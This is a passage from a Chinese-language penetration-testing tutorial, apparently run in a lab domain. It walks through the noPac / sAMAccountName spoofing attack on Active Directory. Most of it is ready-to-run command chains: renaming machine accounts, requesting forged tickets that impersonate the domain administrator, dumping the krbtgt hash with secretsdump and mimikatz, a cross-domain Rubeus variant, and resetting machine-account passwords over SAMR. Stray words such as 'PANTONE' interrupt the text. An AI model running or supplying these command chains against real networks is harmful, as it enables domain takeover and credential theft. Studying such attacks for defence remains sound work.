#將普通域用戶hack的saMAccountName屬性修改為AD01
python3 renameMachine.py -current-name 'hack' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/administrator:P@ssword1234
#以hack用戶身份請求TGT認購權證,用戶名為saMAccountName屬性值
python3 getTGT.py -dc-ip AD01.xie.com xie/ad01:P@ss1234
#導入TGT認購權證
export KRB5CCNAME=ad01.ccache
#將hack用戶的saMAccountName屬性恢復為hack
python3 renameMachine.py -current-name 'AD01' -new-name 'hack' -dc-ip AD01.xie.com xie.com/administrator:P@ssword1234
#用上一步的TGT認購權證,以administrator的身份請求訪問ad01.xie.com的cifs服務
python3 getST.py -spn cifs/ad01.xie.com xie/ad01@10.211.55.4 -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self
#導入ST服務票據
export KRB5CCNAME=administrator.ccache
#導出域內krbtgt用戶哈希
python3 secretsdump.py ad01.xie.com -k -no-pass -just-dc-user krbtgt
如下圖,可以看到針對普通域用戶hack也可以發起類似的攻擊!

11:跨域攻擊
這里有三個域,一個是xie.com父域,另外兩個是beijing.xie.com和shanghai.xie.com子域,如下:

- 根域:xie.com
- 根域域控:AD.xie.com
- 子域:shanghai.xie.com
- 子域域控:SH-AD.shanghai.xie.com
- 子域普通域用戶:sh_hack P@ss1234
首先在根域xie.com上,執行如下命令將域管理員administrator的altSecurityIdentities設置為Kerberos:sh_hack@shanghai.xie.com。
Import-Module .\powerview.ps1
Set-DomainObject administrator -domain xie.com -set @{'altSecurityIdentities'='Kerberos:sh_hack@shanghai.xie.com'}
Get-DomainObject administrator -domain xie.com -Properties * | select altSecurityIdentities

正常情況下,在子域shanghai.xie.com內是無法導出根域xie.com域內哈希的,如下:
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:xie\krbtgt /csv" "exit"

如下,在子域shanghai.xie.com上請求一個不要PAC的TGT認購權證。
Rubeus.exe asktgt /user:sh_hack /password:P@ss1234 /domain:shanghai.xie.com /dc:SH-AD.shanghai.xie.com /nowrap /ptt /nopac

然后利用這個TGT認購權證向根域控ad.xie.com請求根域控的ldap/ad.xie.com服務。此時,由于在根域內并沒有sh_hack用戶,因此根域域控會查找sh_hack$用戶,還未找到。根域域控會查找altSecurityIdentities屬性帶有sh_hack的用戶,此時找到了根域administrator用戶。此時根域域控會
會生成一張根域administrator用戶權限的PAC放到ST服務票據中返回。
Rubeus.exe asktgs /service:ldap/ad.xie.com /dc:ad.xie.com /nowrap /ptt /ticket:上一步請求的無PAC的TGT認購權證

因此,在子域shagnhai.xie.com內可以利用根域administrator用戶的ST服務票據導出根域內任意用戶的哈希了。

12:針對MAQ為0時的攻擊
如果目標域針對ms-DS-MachineAccountQuota屬性進行了設置,將其修改為0。

此時,普通域用戶將無法新建機器用戶。如下圖所示,直接報錯!

那么,針對MAQ為0這種場景,我們需要怎么利用呢?我們這里的想法是針對域內已經存在的機器帳戶加以利用。
如下,我們以已經加入域的Win10機器為例。通過查詢Win10機器的ACL發現,除了默認的域管理員等高權限用戶外,只有hack用戶對其具有修改saMAccountName屬性的權限,就連win10$機器賬號自身都無權限修改saMAccountName屬性。

如下,使用win10$機器賬號修改自身的mS-DS-CreatorSID屬性,提示無有效訪問權限。
python3 renameMachine.py -current-name 'win10$' -new-name 'AD01' -dc-ip AD01.xie.com "xie.com/win10$" -hashes 3db5e5e43b3b260de0b058d9b82523fe:3db5e5e43b3b260de0b058d9b82523fe

但是使用hack用戶修改Win10$機器帳號的mS-DS-CreatorSID屬性,提示修改成功。如下圖:
python3 renameMachine.py -current-name 'win10$' -new-name 'AD01' -dc-ip AD01.xie.com "xie.com/hack:P@ss1234"

那么,為什么普通域用戶hack對其具有修改saMAccountName屬性的權限呢?我們第一猜想是hack用戶將win10機器加入域的。
于是通過如下命令查詢win10機器的mS-DS-CreatorSID屬性,并查詢SID對應的用戶,果然證實了我們的猜想。hack用戶是將win10機器加入域的賬號。
#查詢所有機器賬號的mS-DS-CreatorSID屬性
AdFind.exe -f "&(objectcategory=computer)(name=win10)" mS-DS-CreatorSID
#查詢SID對應的用戶
AdFind.exe -sc adsid:S-1-5-21-1313979556-3624129433-4055459191-1154 -dn

于是乎,我們可以針對域內已經存在的機器進行利用了。針對這種利用方式,有兩種可能性:
1. 獲取到域內已經存在的機器權限
2. 獲取到將機器加入域的用戶權限
獲取到域內已經存在的機器權限
如下,獲得域內普通機器win10的最高權限,通過執行如下命令dump哈希。
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > pass.txt

如下NTLM字段是機器賬號win10$的密碼哈希,因此我們可以利用這個密碼哈希進行后續認證操作。
3db5e5e43b3b260de0b058d9b82523fe

通過如下命令查詢win10機器的mS-DS-CreatorSID屬性,并查詢SID對應的用戶,發現是hack用戶將win10機器加入域的。
#查詢所有機器賬號的mS-DS-CreatorSID屬性
AdFind.exe -f "&(objectcategory=computer)(name=win10)" mS-DS-CreatorSID
#查詢SID對應的用戶
AdFind.exe -sc adsid:S-1-5-21-1313979556-3624129433-4055459191-1154 -dn

此時,要想進行后續利用的話,需要獲得hack用戶的權限。這里假設我們已經獲得hack用戶的密碼為P@ss1234。
通過如下命令查詢機器賬號win10$的SPN,可以看到有6條SPN
python3 addspn.py -u 'xie.com\win10$' -p 3db5e5e43b3b260de0b058d9b82523fe:3db5e5e43b3b260de0b058d9b82523fe -t 'win10$' -q 10.211.55.4

需要清除機器賬號win10$的SPN,可以通過win10$賬號自身的權限進行清除,如下命令:
#清除win10$的SPN
python3 addspn.py -u 'xie.com\win10$' -p 3db5e5e43b3b260de0b058d9b82523fe:3db5e5e43b3b260de0b058d9b82523fe -t 'win10$' -c 10.211.55.4

接著,我們利用hack用戶來修改win10機器的mS-DS-CreatorSID屬性。然后后續步驟和之前一樣,如下:
#將機器用戶win10$的saMAccountName屬性修改為AD01
python3 renameMachine.py -current-name 'win10$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#以win10用戶身份請求TGT認購權證,用戶名為saMAccountName屬性值
python3 getTGT.py -dc-ip AD01.xie.com xie/ad01 -hashes 3db5e5e43b3b260de0b058d9b82523fe:3db5e5e43b3b260de0b058d9b82523fe
#導入TGT認購權證
export KRB5CCNAME=ad01.ccache
#將機器用戶win10的saMAccountName屬性恢復為win10$
python3 renameMachine.py -current-name 'AD01' -new-name 'win10$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用上一步的TGT認購權證,以administrator的身份請求訪問ad01.xie.com的cifs服務
python3 getST.py -spn cifs/ad01.xie.com xie/ad01@10.211.55.4 -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self
#導入ST服務票據
export KRB5CCNAME=administrator.ccache
#導出域內krbtgt用戶哈希
python3 secretsdump.py ad01.xie.com -k -no-pass -just-dc-user krbtgt

獲取到將機器加入域的用戶權限
如下,獲得域內普通用戶hack的權限,得到其密碼為:P@ss1234。

執行如下命令,先查詢hack用戶對應的SID,再查詢mS-DS-CreatorSID屬性為該SID的機器。該機器就是hack用戶加入域的機器。如下圖執行結果可以看到,Win10機器是hack用戶加入域的。
#查詢hack用戶對應的sid
AdFind.exe -sc u:hack objectSid
#查詢mS-DS-CreatorSID屬性為指定SID的機器
AdFind.exe -f "&(objectcategory=computer)(mS-DS-CreatorSID=S-1-5-21-1313979556-3624129433-4055459191-1154)" -dn

但是此時我們并沒有獲取到win10機器的權限,那么該如何操作呢?我們關注到后期并不需要win10機器的機器權限,只需要win10$這個機器的賬號密碼即可。因此,我們可以通過hack用戶利用SAMR協議遠程修改Win10$機器賬號的密碼,這樣我們后續就能控制win10$這個機器賬號了。

PANTONE
修改機器賬號哈希
如下,我們通過mimikaktz利用SAMR協議調用SamrSetInformationUser接口來重置機器賬號win10$的密碼為123456。
mimikatz.exe
#重置機器賬號win10$的密碼為123456
lsadump::SETNTLM /server:10.211.55.4 /user:win10$ /password:123456

PANTONE
攻擊利用
長春然后就可以后續利用了!
通過如下命令查詢機器賬號win10$的SPN,可以看到有6條SPN。
python3 addspn.py -u 'xie.com\win10$' -p 123456 -t 'win10$' -s aa/aa -q 10.211.55.4

然后需要清除機器賬號win10$的SPN,可以通過win10$賬號自身的權限進行清除。此時win10$機器賬號密碼為123456,可以使用如下命令進行清除:
#清除win10$的SPN
python3 addspn.py -u 'xie.com\win10$' -p 123456 -t 'win10$' -c 10.211.55.4

接著,我們利用hack用戶來修改win10機器的mS-DS-CreatorSID屬性。然后后續步驟和之前一樣,如下,可以看到攻擊成功!
#將機器用戶win10$的saMAccountName屬性修改為AD01
python3 renameMachine.py -current-name 'win10$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#以win10用戶身份請求TGT認購權證,用戶名為saMAccountName屬性值
python3 getTGT.py -dc-ip AD01.xie.com xie/ad01:123456
#導入TGT認購權證
export KRB5CCNAME=ad01.ccache
#將機器用戶win10的saMAccountName屬性恢復為win10$
python3 renameMachine.py -current-name 'AD01' -new-name 'win10$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用上一步的TGT認購權證,以administrator的身份請求訪問ad01.xie.com的cifs服務
python3 getST.py -spn cifs/ad01.xie.com xie/ad01@10.211.55.4 -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self
#導入ST服務票據
export KRB5CCNAME=administrator.ccache
#導出域內krbtgt用戶哈希
python3 secretsdump.py ad01.xie.com -k -no-pass -just-dc-user krbtgt

但是現在并沒有結束,由于我們修改了Win10$機器賬號的哈希,這將導致Win10機器賬號在活動目錄中的密碼和在本地注冊表以及lsass進程中的密碼不一致,這將導致win10機器重啟后無法開機、脫域等情況!如下圖,分別是Win10$機器賬號在活動目錄中的哈希和lsass進程中的哈希,可以看到不一致!


PANTONE
獲得機器賬號原始哈希
首先我們需要獲得win10$機器賬號的原始哈希,這里有兩種方法:
方式一
在目標win10機器上執行這三個命令,將注冊表中的信息導出這三個文件。
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

將剛剛保存的三個文件放到impacket的examples目錄下,執行如下命令,使用secretsdump.py提取出文件里面的hash。如下,$MACHINE.ACC后面的3db5e5e43b3b260de0b058d9b82523fe就是原來的機器哈希。
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

方式二
在目標win10機器上使用mimikatz的sekurlsa::logonpassword模塊從lsass.exe進程里面抓取win10$機器賬號的原始哈希。
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

恢復機器賬號原始哈希
然后再次使用mimikaktz利用SAMR協議調用SamrSetInformationUser接口來重置機器賬號win10$的密碼哈希為原值,如下圖:
mimikatz.exe
#重置win10$機器賬號的哈希為原值
lsadump::SETNTLM /server:10.211.55.4 /user:win10$ /ntlm:3db5e5e43b3b260de0b058d9b82523fe

再次查詢活動目錄中win10$機器賬號的哈希,可以看到還原了!

原理總結
首先,這個洞最深層次的原因是KDC在處理UserName字段時的問題,而后結合兩種攻擊鏈針對域內和跨域進行攻擊。
- 當針對域內攻擊時,結合了CVE-2021-42278漏洞來修改機器用戶的saMAccountName屬性,讓KDC找不到用戶,走進處理UserName的邏輯。 然后再利用KDC在處理S4U2Self時的邏輯問題(不校驗發起S4U2Self請求的用戶是否具有權限發起S4U2Self請求)以及重新生成PAC的這一特性來進行攻擊。
- 當針對跨域攻擊時,其實意義不大。因為需要修改其他域內高權限用戶的altSecurityIdentities屬性,而默認是沒有權限修改的,只有根域管理員或者其他域的域管理員才有權限修改。當跨域TGS請求時,目標域控在活動目錄數據庫內是找不到其他域的用戶的,因此走進處理UserName的邏輯。然后再利用跨域TGS-REQ請求時的處理邏輯(如果TGT票據中沒有PAC,則重新生成)這一特性來進行攻擊的。
綜上所述,這個洞剛開始叫nopac其實就是針對跨域時的攻擊,實戰意義不大。針對域內攻擊更有效,下圖是域內攻擊鏈的邏輯處理圖:

版權申明:內容來源網絡,版權歸原創者所有。除非無法確認,都會標明作者及出處,如有侵權,煩請告知,我們會立即刪除并致歉!